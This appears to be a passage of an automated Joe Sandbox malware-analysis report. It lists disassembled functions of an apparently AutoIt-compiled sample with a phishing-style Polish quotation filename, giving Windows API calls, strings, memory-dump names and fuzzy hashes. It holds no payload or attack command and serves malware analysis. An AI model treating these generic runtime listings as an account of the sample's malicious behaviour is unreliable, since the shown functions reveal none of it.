SafeArrayUnaccessData.OLEAUT32(CE8B7824), ref: 00467559
SafeArrayAccessData.OLEAUT32(CE8B7824,?), ref: 0046748A

Part of subcall function 0041171A: std::bad_alloc::bad_alloc.LIBCMT ref: 00411757
Part of subcall function 0041171A: std::bad_exception::bad_exception.LIBCMT ref: 0041176B
Part of subcall function 0041171A: __CxxThrowException@8.LIBCMT ref: 00411779

SafeArrayAccessData.OLEAUT32(CE8B7824,?), ref: 00467571
SafeArrayUnaccessData.OLEAUT32(CE8B7824), ref: 004675E4

Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: ArraySafe$Data$AccessUnaccess$Exception@8ThrowVartype_mallocstd::bad_alloc::bad_allocstd::bad_exception::bad_exception
String ID:
API String ID: 1932665248-0
Opcode ID: 44414f9333331e76e61c3163e0c64753e888bdc7369b2b88afe278c21a804e35
Instruction ID: 42a0e90c8bf2b482c85e144861ec280134e9fb1dbd9e00a0d693b148f8e5f150
Opcode Fuzzy Hash: 44414f9333331e76e61c3163e0c64753e888bdc7369b2b88afe278c21a804e35
Instruction Fuzzy Hash: E8B1BF752082009FD304DF29C884B6B77E5FF98318F14496EE98587362E779E885CB6B

Function 004480F2 Relevance: 16.7, APIs: 11, Instructions: 184windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000101F,00000000,00000000), ref: 00448182
SendMessageW.USER32(00000000,?,0000101F,00000000), ref: 00448185
GetWindowLongW.USER32(?,000000F0), ref: 004481A7
_memset.LIBCMT ref: 004481BA
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004481CC
SendMessageW.USER32(?,0000104D,00000000,00000007), ref: 0044824E
SendMessageW.USER32(?,00001074,?,00000007), ref: 004482A4
SendMessageW.USER32(?,00001057,00000000,00000000), ref: 004482BE
SendMessageW.USER32(?,0000101D,00000001,00000000), ref: 004482E3
SendMessageW.USER32(?,0000101E,00000001,00000000), ref: 004482FC
SendMessageW.USER32(?,00001008,?,00000007), ref: 00448317

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: MessageSend$LongWindow_memset
String ID:
API String ID: 830647256-0
Opcode ID: 45db6e2e50868ce621a7577b0335e91e45f99dc9c013701cc26792922a244152
Instruction ID: 69fd08a602074ed3d664547bad3ac5a94a9e6c02d61aa1d07dc3907ec7ad0976
Opcode Fuzzy Hash: 45db6e2e50868ce621a7577b0335e91e45f99dc9c013701cc26792922a244152
Instruction Fuzzy Hash: 41616F70208341AFE310DF54C881FABB7A4FF89704F14465EFA909B2D1DBB5A945CB56

Function 00474335 Relevance: 16.1, APIs: 8, Strings: 1, Instructions: 308COMMON

Download Yara Rule

Strings

HH, xrefs: 00474359

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID:
String ID: HH
API String ID: 0-2761332787
Opcode ID: 1daa73f2f9fcd7e6a56dae01f278e361c1ec684145c85e10bb1a4c3ee0e3a911
Instruction ID: 1932890218e454eaab518c2d08cf67ea4bcb6b95680f1d85a47b5a5cee1eebd3
Opcode Fuzzy Hash: 1daa73f2f9fcd7e6a56dae01f278e361c1ec684145c85e10bb1a4c3ee0e3a911
Instruction Fuzzy Hash: 99A1A1726043009BD710EF65DC82B6BB3E9ABD4718F008E2EF558E7281D779E9448B5A

Function 004691F4 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 88windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71

SendMessageW.USER32(00000000,0000018C,000000FF,00000000), ref: 00469277
GetDlgCtrlID.USER32(00000000), ref: 00469289
GetParent.USER32 ref: 004692A4
SendMessageW.USER32(00000000,?,00000111), ref: 004692A7
GetDlgCtrlID.USER32(00000000), ref: 004692AE
GetParent.USER32 ref: 004692C7
SendMessageW.USER32(00000000,?,00000111,?), ref: 004692CA

Strings

ComboBox, xrefs: 004691FF
ListBox, xrefs: 00469230

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: MessageSend$CtrlParent$_wcslen
String ID: ComboBox$ListBox
API String ID: 2040099840-1403004172
Opcode ID: d7a46b5f720fef199203ad69d051b39deebb3b2451f9d950c399d088bcf038a9
Instruction ID: ef07326ddff4210f4741e87947fad3c2ec39ee11b6619cfdf8cc81125e1c6f8c
Opcode Fuzzy Hash: d7a46b5f720fef199203ad69d051b39deebb3b2451f9d950c399d088bcf038a9
Instruction Fuzzy Hash: BC21D6716002147BD600AB65CC45DBFB39CEB85324F044A1FF954A73D1DAB8EC0947B9

Function 004693F0 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 87windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71

SendMessageW.USER32(00000186,00000186,?,00000000), ref: 00469471
GetDlgCtrlID.USER32(00000000), ref: 00469483
GetParent.USER32 ref: 0046949E
SendMessageW.USER32(00000000,?,00000111), ref: 004694A1
GetDlgCtrlID.USER32(00000000), ref: 004694A8
GetParent.USER32 ref: 004694C1
SendMessageW.USER32(00000000,?,00000111,?), ref: 004694C4

Strings

ComboBox, xrefs: 004693FB
ListBox, xrefs: 0046942C

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: MessageSend$CtrlParent$_wcslen
String ID: ComboBox$ListBox
API String ID: 2040099840-1403004172
Opcode ID: 2e10f5a1695edfae3743bbe69767f09e04e95ab32c83142982b04f1cb5eb07ed
Instruction ID: 434b10a17d45167e777e8ea6e726dd6ee4e01267e4a119798c8aa60e835c5cdc
Opcode Fuzzy Hash: 2e10f5a1695edfae3743bbe69767f09e04e95ab32c83142982b04f1cb5eb07ed
Instruction Fuzzy Hash: CA21D7756002147BD600BB29CC45EBFB39CEB85314F04492FF984A7291EABCEC0A4779

Function 0045F2C5 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 146windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0045F317
GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 0045F367
IsMenu.USER32(?), ref: 0045F380
CreatePopupMenu.USER32 ref: 0045F3C5
GetMenuItemCount.USER32(?), ref: 0045F42F
InsertMenuItemW.USER32(?,?,00000001,?), ref: 0045F45B

Strings

2, xrefs: 0045F39E
0, xrefs: 0045F30F

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: Menu$Item$CountCreateInfoInsertPopup_memset
String ID: 0$2
API String ID: 3311875123-3793063076
Opcode ID: fbdd9a11e44187a4bf70f7de18f8631e861f84fad9f8f26dcc1fb12baf34abbc
Instruction ID: 6c7ab59355789d00cbd42ef361c1bd9312a1bc9220e92816940967e3bd29aecc
Opcode Fuzzy Hash: fbdd9a11e44187a4bf70f7de18f8631e861f84fad9f8f26dcc1fb12baf34abbc
Instruction Fuzzy Hash: E451CF702043409FD710CF69D888B6BBBE4AFA5319F104A3EFD9586292D378994DCB67

Function 00456168 Relevance: 13.7, APIs: 9, Instructions: 181COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b00adbc1ea9d53563bb8a7982d93c3fa4b8356126e06b3aad1cc727703ca6f1a
Instruction ID: 20732dcab93056f759d0b04a6df1a57780e33876730225f1fefd21ccf2a16f59
Opcode Fuzzy Hash: b00adbc1ea9d53563bb8a7982d93c3fa4b8356126e06b3aad1cc727703ca6f1a
Instruction Fuzzy Hash: 36519070200301ABD320DF29CC85F5BB7E8EB48715F540A1EF995E7292D7B4E949CB29

Function 004534EB Relevance: 13.6, APIs: 9, Instructions: 150filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0040FFB0: GetFullPathNameW.KERNEL32(00000000,00000104,004A7D14,?,004A7D14,004A8E80,004A7D14,0040F3D2), ref: 0040FFCA

Part of subcall function 00436AC4: GetFileAttributesW.KERNEL32(?,0044BD82,?,?,?), ref: 00436AC9

lstrcmpiW.KERNEL32(?,?), ref: 0045355E
MoveFileW.KERNEL32(?,?), ref: 0045358E

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: File$AttributesFullMoveNamePathlstrcmpi
String ID:
API String ID: 978794511-0
Opcode ID: 905b41a6b5f1f1e7811aa1c06e555ad1605d40905c9a381d53b63ac73f12040d
Instruction ID: dcad70f49e32ae1adaf0c812d378eb0bba467e0a617048934f4a65f03e3a0b24
Opcode Fuzzy Hash: 905b41a6b5f1f1e7811aa1c06e555ad1605d40905c9a381d53b63ac73f12040d
Instruction Fuzzy Hash: 665162B25043406AC724EF61D885ADFB3E8AFC8305F44992EB94992151E73DD34DC767

Function 0045427D Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 259libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,00000000), ref: 0045435B
GetProcAddress.KERNEL32(?,AU3_FreeVar), ref: 00454371
_malloc.LIBCMT ref: 004543B1
_strlen.LIBCMT ref: 00454409
_malloc.LIBCMT ref: 00454413
_strcat.LIBCMT ref: 00454420

Strings

AU3_FreeVar, xrefs: 0045436B

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: AddressProc_malloc$_strcat_strlen
String ID: AU3_FreeVar
API String ID: 2184576858-771828931
Opcode ID: fbfd85354506dc7afa549e6baf05b324e9a08f04664acd55c5acbcf5b62d546c
Instruction ID: c940ad03d776ce5ee908f8b881b33357b51647545ffc53e819ca791e1fdac2da
Opcode Fuzzy Hash: fbfd85354506dc7afa549e6baf05b324e9a08f04664acd55c5acbcf5b62d546c
Instruction Fuzzy Hash: EDA18DB5604205DFC300DF59C480A2AB7E5FFC8319F1489AEE9554B362D739ED89CB8A

Function 0047D2F8 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 162COMMON

Download Yara Rule

APIs

__wcsicoll.LIBCMT ref: 0047D39F
__snwprintf.LIBCMT ref: 0047D43B
_wcscpy.LIBCMT ref: 0047D4D0

Strings

0vH, xrefs: 0047D4F9
AUTOITCALLVARIABLE%d, xrefs: 0047D42F
CALLARGARRAY, xrefs: 0047D393
, $, xrefs: 0047D47B

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: __snwprintf__wcsicoll_wcscpy
String ID: , $$0vH$AUTOITCALLVARIABLE%d$CALLARGARRAY
API String ID: 1729044348-3708979750
Opcode ID: 19d8c814bf70bb05cadf871115a188aa6336bc7b5c41e4e48777219efcb9f973
Instruction ID: 823d0c4529048d9f890bbf28e75db1a658c609af9319d28fcdda535ef0d13f31
Opcode Fuzzy Hash: 19d8c814bf70bb05cadf871115a188aa6336bc7b5c41e4e48777219efcb9f973
Instruction Fuzzy Hash: E651A571514300ABD610EF65C882ADFB3A4EFC4348F048D2FF54967291D779E949CBAA

Function 0043717F Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,004A8E80,00000100,00000100,?,004A7D14), ref: 0043719E
LoadStringW.USER32(00000000), ref: 004371A7
GetModuleHandleW.KERNEL32(00000000,00001389,?,00000100), ref: 004371BD
LoadStringW.USER32(00000000), ref: 004371C0
_printf.LIBCMT ref: 004371EC
MessageBoxW.USER32(00000000,?,?,00011010), ref: 00437208

Strings

%s (%d) : ==> %s: %s %s, xrefs: 004371E7

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: HandleLoadModuleString$Message_printf
String ID: %s (%d) : ==> %s: %s %s
API String ID: 220974073-3128320259
Opcode ID: 94d1ddb87e9fdddd1f0eb85761e890ae026325719f266e56d7856026e6b64315
Instruction ID: cc9e6972dbc5209964c20f0f7d1f7455a13934f6c555fd98bc0bf92a0502fb90
Opcode Fuzzy Hash: 94d1ddb87e9fdddd1f0eb85761e890ae026325719f266e56d7856026e6b64315
Instruction Fuzzy Hash: F7014FB2A543447AE620EB549D06FFB365CABC4B01F444C1EB794A60C0AAF865548BBA

Function 00441561 Relevance: 12.1, APIs: 8, Instructions: 101windowCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(?), ref: 0044157D
GetDC.USER32(00000000), ref: 00441585
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00441590
ReleaseDC.USER32(00000000,00000000), ref: 0044159B
CreateFontW.GDI32(?,00000000,00000000,00000000,?,000000FF,000000FF,000000FF,00000001,00000004,00000000,?,00000000,00000000), ref: 004415E9
SendMessageW.USER32(?,00000030,00000000,00000001), ref: 00441601
MoveWindow.USER32(?,?,?,?,?,00000000), ref: 00441639
SendMessageW.USER32(?,00000142,00000000,00000000), ref: 00441659

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: MessageSend$CapsCreateDeleteDeviceFontMoveObjectReleaseWindow
String ID:
API String ID: 3864802216-0
Opcode ID: ea0a3e179a2db4f205f3d0bf310cedd64f619745dcd59731a2847991c922bb1b
Instruction ID: 4e191e68d33858d232da06d8f8bca50b2e2c885119a5133d865ec5329e905ca2
Opcode Fuzzy Hash: ea0a3e179a2db4f205f3d0bf310cedd64f619745dcd59731a2847991c922bb1b
Instruction Fuzzy Hash: 1531C172240344BBE7208B14CD49FAB77EDEB88B15F08450DFB44AA2D1DAB4ED808B64

Function 004140DB Relevance: 12.0, APIs: 8, Instructions: 42threadCOMMON

Download Yara Rule

APIs

___set_flsgetvalue.LIBCMT ref: 004140E1

Part of subcall function 00416A84: TlsGetValue.KERNEL32(00411739,00416C10,?,00411739,00417F28,00413979,?,?,00411739,?,00401C0B), ref: 00416A8D
Part of subcall function 00416A84: __decode_pointer.LIBCMT ref: 00416A9F
Part of subcall function 00416A84: TlsSetValue.KERNEL32(00000000,00411739,00417F28,00413979,?,?,00411739,?,00401C0B), ref: 00416AAE

___fls_getvalue@4.LIBCMT ref: 004140EC

Part of subcall function 00416A64: TlsGetValue.KERNEL32(?,?,004140F1,00000000), ref: 00416A72

___fls_setvalue@8.LIBCMT ref: 004140FF

Part of subcall function 00416AB8: __decode_pointer.LIBCMT ref: 00416AC9

GetLastError.KERNEL32(00000000,?,00000000), ref: 00414108
ExitThread.KERNEL32 ref: 0041410F
GetCurrentThreadId.KERNEL32 ref: 00414115
__freefls@4.LIBCMT ref: 00414135
__IsNonwritableInCurrentImage.LIBCMT ref: 00414148

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: Value$CurrentThread__decode_pointer$ErrorExitImageLastNonwritable___fls_getvalue@4___fls_setvalue@8___set_flsgetvalue__freefls@4
String ID:
API String ID: 1925773019-0
Opcode ID: 78c5a7e04feddb60afef3bdf2204f5ea6d2fca564e255d6fa6df859771c1ea47
Instruction ID: d0499dd1a11a7aa3f5f6b81cdb2be0183561266298d4129ec5ef95b8f2f1ff50
Opcode Fuzzy Hash: 78c5a7e04feddb60afef3bdf2204f5ea6d2fca564e255d6fa6df859771c1ea47
Instruction Fuzzy Hash: 12018430000200ABC704BFB2DD0D9DE7BA9AF95345722886EF90497212DA3CC9C28B5C

Function 004472C8 Relevance: 10.7, APIs: 7, Instructions: 207COMMON

Download Yara Rule

APIs

Part of subcall function 0044710F: DeleteObject.GDI32(00000000), ref: 00447151
Part of subcall function 0044710F: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,00000000,?,?,?), ref: 00447195
Part of subcall function 0044710F: SelectObject.GDI32(?,00000000), ref: 004471A2
Part of subcall function 0044710F: BeginPath.GDI32(?), ref: 004471B7
Part of subcall function 0044710F: SelectObject.GDI32(?,00000000), ref: 004471DC

Ellipse.GDI32(?,?,?,00000000), ref: 00447463
MoveToEx.GDI32(?,?,?,00000000), ref: 00447473
AngleArc.GDI32(?,?,?,?,?,?), ref: 004474B6
LineTo.GDI32(?,?), ref: 004474BF
CloseFigure.GDI32(?), ref: 004474C6
SetPixel.GDI32(?,?,?,?), ref: 004474D6
Rectangle.GDI32(?,?), ref: 004474F3

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: Object$Select$AngleBeginCloseCreateDeleteEllipseFigureLineMovePathPixelRectangle
String ID:
API String ID: 4082120231-0
Opcode ID: 3e823f4574af11f26be8c20bd8771cfecf2a7ea1363ae8038588c787c8c49515
Instruction ID: e2e17d079c8faeb919f1a119f9aa9df975eabc7d00289576b12f70c1741c819b
Opcode Fuzzy Hash: 3e823f4574af11f26be8c20bd8771cfecf2a7ea1363ae8038588c787c8c49515
Instruction Fuzzy Hash: BC713AB11083419FD300DF15C884E6BBBE9EFC9708F148A1EF99497351D778A906CBAA

Function 00447303 Relevance: 10.7, APIs: 7, Instructions: 192COMMON

Download Yara Rule

APIs

Part of subcall function 0044710F: DeleteObject.GDI32(00000000), ref: 00447151
Part of subcall function 0044710F: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,00000000,?,?,?), ref: 00447195
Part of subcall function 0044710F: SelectObject.GDI32(?,00000000), ref: 004471A2
Part of subcall function 0044710F: BeginPath.GDI32(?), ref: 004471B7
Part of subcall function 0044710F: SelectObject.GDI32(?,00000000), ref: 004471DC

Ellipse.GDI32(?,?,?,00000000), ref: 00447463
MoveToEx.GDI32(?,?,?,00000000), ref: 00447473
AngleArc.GDI32(?,?,?,?,?,?), ref: 004474B6
LineTo.GDI32(?,?), ref: 004474BF
CloseFigure.GDI32(?), ref: 004474C6
SetPixel.GDI32(?,?,?,?), ref: 004474D6
Rectangle.GDI32(?,?), ref: 004474F3

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: Object$Select$AngleBeginCloseCreateDeleteEllipseFigureLineMovePathPixelRectangle
String ID:
API String ID: 4082120231-0
Opcode ID: bd92991fb0a59d5160a547c0af993f50d26037df712543aebae1afc8709768cb
Instruction ID: 71053adf7dd607ae91079c2ca5de7ffea4483cc305881a9741cc2e8bc8d6f2cf
Opcode Fuzzy Hash: bd92991fb0a59d5160a547c0af993f50d26037df712543aebae1afc8709768cb
Instruction Fuzzy Hash: 55613BB51083419FD300DF55CC84E6BBBE9EBC9308F148A1EF99597351D738A906CB6A

Function 0044733D Relevance: 10.7, APIs: 7, Instructions: 177COMMON

Download Yara Rule

APIs

Ellipse.GDI32(?,?,?,00000000), ref: 00447463
MoveToEx.GDI32(?,?,?,00000000), ref: 00447473
AngleArc.GDI32(?,?,?,?,?,?), ref: 004474B6
LineTo.GDI32(?,?), ref: 004474BF
CloseFigure.GDI32(?), ref: 004474C6
SetPixel.GDI32(?,?,?,?), ref: 004474D6
Rectangle.GDI32(?,?), ref: 004474F3

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
